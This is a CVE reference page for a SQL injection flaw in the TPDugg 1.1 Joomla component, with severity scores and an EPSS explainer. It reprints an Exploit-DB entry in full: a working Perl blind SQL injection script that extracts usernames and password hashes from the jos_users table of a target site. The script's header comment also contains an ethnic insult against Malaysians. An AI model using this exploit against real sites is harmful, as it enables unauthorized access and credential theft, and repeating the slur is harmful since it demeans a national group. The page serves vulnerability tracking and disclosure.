CVE-2009-4628

CVE Descriptions

SQL injection vulnerability in the TemplatePlaza.com TPDugg (com_tpdugg) component 1.1 for Joomla! allows remote attackers to execute arbitrary SQL commands via the id parameter in a tags action to index.php.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 9602

Publication date : 2009-09-08 22h00 +00:00
Author : NoGe
EDB Verified : Yes

#!/usr/bin/perl #//////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\# #\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\//////////////////////////////////# # # # [o] TPDugg Joomla Component 1.1 Blind SQL Injection Exploit # # # # Software : com_tpdugg version 1.1 # # Vendor : http://www.templateplazza.com/ # # Author : NoGe # # Contact : noge[dot]code[at]gmail[dot]com # # Blog : http://evilc0de.blogspot.com - http://pacenoge.org # # # # [o] Usage # # # # root@noge:~# perl tpdugg.pl # # # # # # [+] URL Path : www.target.com/[path] # # [+] Valid ID : 1 # # [+] Column : username # # # # [!] Exploiting http://www.target.com/[path]/ ... # # # # [+] SELECT username FROM jos_users LIMIT 0,1 ... # # [+] jos_users@username> admin # # # # [!] Exploit completed. # # # # [o] Simple Joomla Password Cracker # # # # http://pacenoge.org/joomla/ # # # # [o] Greetz # # # # MainHack BrotherHood [ http://mainhack.net ] # # Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang aJe # # H312Y yooogy mousekill }^-^{ loqsa zxvf martfella # # skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke # # # # --=]> COPY MY STYLE BY SAYKOJI <[=-- # # # # FUCK MALAYSIA!!! # # DON'T YOU HAVE YOUR OWN CULTURE? # # AHH I FORGOT.. YOU DON'T HAVE ANY CULTURE. HAHAHAHA... # # # #//////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\# #\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\//////////////////////////////////# use HTTP::Request; use LWP::UserAgent; # table : jos_users # column : username and password $cmsapp = '[-x-]'; $vuln = 'index.php?option=com_tpdugg&task=tags&id='; $table = 'jos_users'; $regexp = 'There are no items'; $maxlen = 65; my $OS = "$^O"; if ($OS eq 'MSWin32') { system("cls"); } else { system("clear"); } printf "\n $cmsapp [x]====================================================[x] | Joomla Component com_tpdugg BSQL Injection Exploit | | [F]ound by NoGe [C]oded by Vrs-hCk | | www[dot]pacenoge[dot]org | [x]====================================================[x] \n"; print " [+] URL Path : "; chomp($web=<STDIN>); print " [+] Valid ID : "; chomp($id=<STDIN>); print " [+] Column : "; chomp($columns=<STDIN>); if ($web =~ /http:\/\// ) { $target = $web."/"; } else { $target = "http://".$web."/"; } print "\n\n [!] Exploiting $target ...\n\n"; &get_data; print "\n\n [!] Exploit completed.\n\n"; sub get_data() { @columns = split(/,/, $columns); foreach $column (@columns) { print " [+] SELECT $column FROM $table LIMIT 0,1 ...\n"; syswrite(STDOUT, " [+] $table\@$column> ", 255); for (my $i=1; $i<=$maxlen; $i++) { my $chr = 0; my $found = 0; my $char = 48; while (!$chr && $char<=90) { if(exploit($i,$char) !~ /$regexp/) { $chr = 1; $found = 1; syswrite(STDOUT,chr($char),1); } else { $found = 0; } $char++; } if(!$chr) { $char = 97; while(!$chr && $char<=122) { if(exploit($i,$char) !~ /$regexp/) { $chr = 1; $found = 1; syswrite(STDOUT,chr($char),1); } else { $found = 0; } $char++; } } if (!$found) { print "\n"; last; } } } } sub exploit() { my $limit = $_[0]; my $chars = $_[1]; my $blind = '+AND+ASCII(SUBSTRING((SELECT+'.$column.'+FROM+'.$table.'+LIMIT+0,1),'.$limit.',1))='.$chars; my $inject = $target.$vuln.$id.$blind; my $content = get_content($inject); return $content; } sub get_content() { my $url = $_[0]; my $req = HTTP::Request->new(GET => $url); my $ua = LWP::UserAgent->new(); $ua->timeout(5); my $res = $ua->request($req); if ($res->is_error){ print "\n\n [!] Error, ".$res->status_line.".\n\n"; exit; } return $res->content; } # milw0rm.com [2009-09-09]